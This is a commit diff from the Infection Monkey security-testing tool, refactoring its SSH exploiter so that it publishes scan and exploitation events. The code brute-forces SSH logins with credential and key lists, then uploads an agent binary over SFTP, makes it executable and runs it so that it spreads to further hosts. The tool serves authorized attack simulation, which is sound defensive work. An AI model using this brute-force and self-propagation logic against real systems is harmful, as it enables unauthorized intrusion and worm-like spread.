Merge branch 2269-publish-events-from-sshexec-exploiter into develop

PR #2395
This commit is contained in:
Mike Salvatore 2022-10-06 10:00:35 -04:00 committed by GitHub
commit de9b5601d8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 167 additions and 92 deletions

View File

@ -1,15 +1,27 @@
import io
import logging
from ipaddress import IPv4Address
from pathlib import PurePath
from time import time
from typing import Optional
import paramiko
from common import OperatingSystem
from common.agent_events import TCPScanEvent
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT
from common.credentials import get_plaintext
from common.tags import (
T1021_ATTACK_TECHNIQUE_TAG,
T1105_ATTACK_TECHNIQUE_TAG,
T1110_ATTACK_TECHNIQUE_TAG,
T1222_ATTACK_TECHNIQUE_TAG,
)
from common.types import PortStatus
from common.utils import Timer
from common.utils.attack_utils import ScanStatus
from common.utils.exceptions import FailedExploitationError
from infection_monkey.exploit import RetrievalError
from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
from infection_monkey.i_puppet import ExploiterResultData
@ -19,6 +31,7 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
from infection_monkey.utils.brute_force import generate_identity_secret_pairs
from infection_monkey.utils.commands import build_monkey_commandline
from infection_monkey.utils.ids import get_agent_id
from infection_monkey.utils.threading import interruptible_iter
logger = logging.getLogger(__name__)
@ -30,11 +43,15 @@ SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT
SSH_CHANNEL_TIMEOUT = MEDIUM_REQUEST_TIMEOUT
TRANSFER_UPDATE_RATE = 15
SSH_EXPLOITER_TAG = "ssh-exploiter"
class SSHExploiter(HostExploiter):
_EXPLOITED_SERVICE = "SSH"
_EXPLOITER_TAGS = (SSH_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG)
_PROPAGATION_TAGS = (SSH_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG)
def __init__(self):
super(SSHExploiter, self).__init__()
@ -46,7 +63,7 @@ class SSHExploiter(HostExploiter):
logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
timer.reset()
def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
def exploit_with_ssh_keys(self, port: int) -> paramiko.SSHClient:
user_ssh_key_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_ssh_keys"],
@ -70,6 +87,8 @@ class SSHExploiter(HostExploiter):
pkey = paramiko.RSAKey.from_private_key(pkey)
except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
logger.error("Failed reading ssh key")
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -86,20 +105,30 @@ class SSHExploiter(HostExploiter):
)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, ssh_key=ssh_string)
return ssh
except paramiko.AuthenticationException as err:
ssh.close()
logger.info(
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}",
error_message = (
f"Failed logging into victim {self.host} with {ssh_string} private key: {err}"
)
logger.info(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
except Exception as err:
logger.error(f"Unknown error while attempting to login with ssh key: {err}")
error_message = (
f"Unexpected error while attempting to login to {ssh_string} with ssh key: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, ssh_key=ssh_string)
raise FailedExploitationError
def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
def exploit_with_login_creds(self, port: int) -> paramiko.SSHClient:
user_password_pairs = generate_identity_secret_pairs(
identities=self.options["credentials"]["exploit_user_list"],
secrets=self.options["credentials"]["exploit_password_list"],
@ -116,6 +145,8 @@ class SSHExploiter(HostExploiter):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
timestamp = time()
try:
ssh.connect(
self.host.ip_addr,
@ -131,108 +162,79 @@ class SSHExploiter(HostExploiter):
logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user)
self.add_vuln_port(port)
self.exploit_result.exploitation_success = True
self._publish_exploitation_event(timestamp, True)
self.report_login_attempt(True, user, current_password)
return ssh
except paramiko.AuthenticationException as err:
logger.debug(
"Failed logging into victim %r with user" " %s: (%s)",
self.host,
user,
err,
)
error_message = f"Failed logging into victim {self.host} with user: {user}: {err}"
logger.debug(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
ssh.close()
continue
except Exception as err:
logger.error(f"Unknown error occurred while trying to login to ssh: {err}")
error_message = (
f"Unexpected error while attempting to login to {self.host} with password: "
f"{err}"
)
logger.error(error_message)
self._publish_exploitation_event(timestamp, False, error_message=error_message)
self.report_login_attempt(False, user, current_password)
raise FailedExploitationError
def _exploit_host(self) -> ExploiterResultData:
port = SSH_PORT
port = self._get_ssh_port()
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
is_open, _ = check_tcp_port(self.host.ip_addr, port)
if not is_open:
if not self._is_port_open(IPv4Address(self.host.ip_addr), port):
self.exploit_result.error_message = f"SSH port is closed on {self.host}, skipping"
logger.info(self.exploit_result.error_message)
return self.exploit_result
try:
ssh = self._exploit(port)
except FailedExploitationError as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
try:
self._propagate(ssh)
except (FailedExploitationError, RuntimeError) as err:
self.exploit_result.error_message = str(err)
logger.error(self.exploit_result.error_message)
finally:
ssh.close()
return self.exploit_result
def _exploit(self, port: int) -> paramiko.SSHClient:
try:
ssh = self.exploit_with_ssh_keys(port)
except FailedExploitationError:
try:
ssh = self.exploit_with_login_creds(port)
except FailedExploitationError:
self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..."
logger.error(self.exploit_result.error_message)
return self.exploit_result
raise FailedExploitationError("Exploiter SSHExploiter is giving up...")
return ssh
def _propagate(self, ssh: paramiko.SSHClient):
agent_binary_file_object = self._get_agent_binary(ssh)
if agent_binary_file_object is None:
raise RuntimeError("Can't find suitable monkey executable for host {self.host}")
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
if not self.host.os.get("type"):
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running uname os command on victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
if not agent_binary_file_object:
self.exploit_result.error_message = (
f"Can't find suitable monkey executable for host {self.host}"
)
logger.error(self.exploit_result.error_message)
return self.exploit_result
if self._is_interrupted():
self._set_interrupted()
return self.exploit_result
raise RuntimeError("Propagation was interrupted")
monkey_path_on_victim = get_agent_dst_path(self.host)
try:
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
status = ScanStatus.USED
except Exception as exc:
self.exploit_result.error_message = (
f"Error uploading file into victim {self.host}: ({exc})"
)
logger.error(self.exploit_result.error_message)
status = ScanStatus.SCANNED
status = self._upload_agent_binary(ssh, agent_binary_file_object, monkey_path_on_victim)
self.telemetry_messenger.send_telemetry(
T1105Telem(
@ -242,13 +244,15 @@ class SSHExploiter(HostExploiter):
monkey_path_on_victim,
)
)
if status == ScanStatus.SCANNED:
return self.exploit_result
raise FailedExploitationError(self.exploit_result.error_message)
try:
cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}"
cmdline += build_monkey_commandline(self.servers, self.current_depth + 1)
cmdline += " > /dev/null 2>&1 &"
timestamp = time()
ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT)
logger.info(
@ -259,18 +263,87 @@ class SSHExploiter(HostExploiter):
)
self.exploit_result.propagation_success = True
ssh.close()
self._publish_propagation_event(timestamp, True)
self.add_executed_cmd(cmdline)
return self.exploit_result
except Exception as exc:
self.exploit_result.error_message = (
f"Error running monkey on victim {self.host}: ({exc})"
)
error_message = f"Error running monkey on victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
raise FailedExploitationError(error_message)
logger.error(self.exploit_result.error_message)
return self.exploit_result
def _is_port_open(self, ip: IPv4Address, port: int) -> bool:
is_open, _ = check_tcp_port(ip, port)
status = PortStatus.OPEN if is_open else PortStatus.CLOSED
self.agent_event_queue.publish(
TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status})
)
return is_open
def _get_ssh_port(self) -> int:
port = SSH_PORT
# if ssh banner found on different port, use that port.
for servkey, servdata in list(self.host.services.items()):
if servdata.get("name") == "ssh" and servkey.startswith("tcp-"):
port = int(servkey.replace("tcp-", ""))
return port
def _get_victim_os(self, ssh: paramiko.SSHClient) -> bool:
try:
_, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT)
uname_os = stdout.read().lower().strip().decode()
if "linux" in uname_os:
self.exploit_result.os = OperatingSystem.LINUX
self.host.os["type"] = OperatingSystem.LINUX
else:
self.exploit_result.error_message = f"SSH Skipping unknown os: {uname_os}"
if not uname_os:
logger.error(self.exploit_result.error_message)
return False
except Exception as exc:
logger.error(f"Error running uname os command on victim {self.host}: ({exc})")
return False
return True
def _get_agent_binary(self, ssh: paramiko.SSHClient) -> Optional[io.BytesIO]:
if not self.host.os.get("type") and not self._get_victim_os(ssh):
return None
try:
agent_binary_file_object = self.agent_binary_repository.get_agent_binary(
self.exploit_result.os
)
except RetrievalError:
return None
return agent_binary_file_object
def _upload_agent_binary(
self,
ssh: paramiko.SSHClient,
agent_binary_file_object: io.BytesIO,
monkey_path_on_victim: PurePath,
) -> ScanStatus:
try:
timestamp = time()
with ssh.open_sftp() as ftp:
ftp.putfo(
agent_binary_file_object,
str(monkey_path_on_victim),
file_size=len(agent_binary_file_object.getbuffer()),
callback=self.log_transfer,
)
self._set_executable_bit_on_agent_binary(ftp, monkey_path_on_victim)
return ScanStatus.USED
except Exception as exc:
error_message = f"Error uploading file into victim {self.host}: ({exc})"
self._publish_propagation_event(timestamp, False, error_message=error_message)
self.exploit_result.error_message = error_message
return ScanStatus.SCANNED
def _set_executable_bit_on_agent_binary(
self, ftp: paramiko.sftp_client.SFTPClient, monkey_path_on_victim: PurePath

View File

@ -3,6 +3,8 @@ import select
import socket
import struct
import sys
from ipaddress import IPv4Address
from typing import Optional
from common.common_consts.timeouts import CONNECTION_TIMEOUT
from infection_monkey.network.info import get_routes
@ -13,7 +15,7 @@ BANNER_READ = 1024
logger = logging.getLogger(__name__)
def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
def check_tcp_port(ip: IPv4Address, port: int, timeout=DEFAULT_TIMEOUT, get_banner=False):
"""
Checks if a given TCP port is open
:param ip: Target IP
@ -26,7 +28,7 @@ def check_tcp_port(ip, port, timeout=DEFAULT_TIMEOUT, get_banner=False):
sock.settimeout(timeout)
try:
sock.connect((ip, port))
sock.connect((str(ip), port))
except socket.timeout:
return False, None
except socket.error as exc:
@ -51,7 +53,7 @@ def tcp_port_to_service(port):
return "tcp-" + str(port)
def get_interface_to_target(dst: str) -> str:
def get_interface_to_target(dst: str) -> Optional[str]:
"""
:param dst: destination IP address string without port. E.G. '192.168.1.1.'
:return: IP address string of an interface that can connect to the target. E.G. '192.168.1.4.'